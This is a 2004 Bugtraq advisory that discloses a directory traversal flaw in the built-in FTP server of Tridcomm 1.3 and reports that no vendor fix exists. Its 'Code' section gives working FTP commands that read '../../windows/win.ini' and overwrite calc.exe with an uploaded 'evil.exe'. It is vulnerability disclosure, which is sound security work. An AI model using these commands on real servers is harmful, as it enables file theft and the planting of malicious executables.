bugtraq - Directory traversal in Tridcomm 1.3

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Date: Wed, 6 Oct 2004 21:19:18 +0000
From: Luigi Auriemma <aluigi@...istici.org>
To: bugtraq@...urityfocus.com, bugs@...uritytracker.com,
	news@...uriteam.com, full-disclosure@...ts.netsys.com,
	vuln@...unia.com
Subject: Directory traversal in Tridcomm 1.3



#######################################################################

                             Luigi Auriemma

Application:  Tridcomm
              http://www.tridcomm.com
Versions:     <= 1.3
Platforms:    Windows
Bug:          directory traversal (both download and upload)
Exploitation: remote, versus the built-in FTP server
Date:         06 October 2004
Author:       Luigi Auriemma
              e-mail: aluigi@...ervista.org
              web:    http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Tridcomm is an open-source 3D file manager for Windows with a built-in
FTP server disabled by default.


#######################################################################

======
2) Bug
======


The built-in FTP server in Tridcomm is vulnerable to a directory
traversal bug.
Practically an attacker can watch into any directory and upload and
download any file in the disk on which Tridcomm is installed.


#######################################################################

===========
3) The Code
===========


dir ../../
dir /

get
  ../../windows/win.ini
  win.ini

put
  evil.exe
  ../../windows/calc.exe

(the same examples can be used with the backslash too)


#######################################################################

======
4) Fix
======


No fix.
No reply from the author.


#######################################################################


--- 
Luigi Auriemma
http://aluigi.altervista.org